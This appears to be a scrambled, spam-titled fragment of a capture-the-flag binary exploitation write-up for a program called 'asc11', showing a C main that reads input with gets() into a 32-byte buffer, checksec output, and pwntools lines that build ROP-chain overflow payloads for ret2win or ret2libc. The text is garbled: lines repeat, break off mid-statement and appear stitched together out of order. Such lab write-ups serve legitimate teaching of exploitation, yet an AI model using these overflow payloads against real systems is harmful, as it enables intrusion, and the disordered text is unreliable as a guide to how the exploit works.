Asc 11 !!top!! May 2026

payload2 = b'A'*offset + rop2.chain() p.sendlineafter(b'Input: ', payload2)

void main(void) char buf[32]; setvbuf(stdout, NULL, 2, 0); puts("Input: "); gets(buf); // <-- vulnerable asc 11

asc11: ELF 64-bit, dynamically linked, not stripped Arch: amd64 RELRO: Partial Stack: No canary found NX: Enabled PIE: Disabled Run it to see behavior: payload2 = b'A'*offset + rop2

payload = b'A'*offset + rop.chain() p.sendlineafter(b'Input: ', payload) payload2) void main(void) char buf[32]

objdump -d asc11 | grep -E "win|system|shell" If none, we need ret2libc.

gets → classic buffer overflow. No canary, PIE off → easy ret2win/ret2libc. Use gdb + pattern create (from pwntools or msf-pattern ):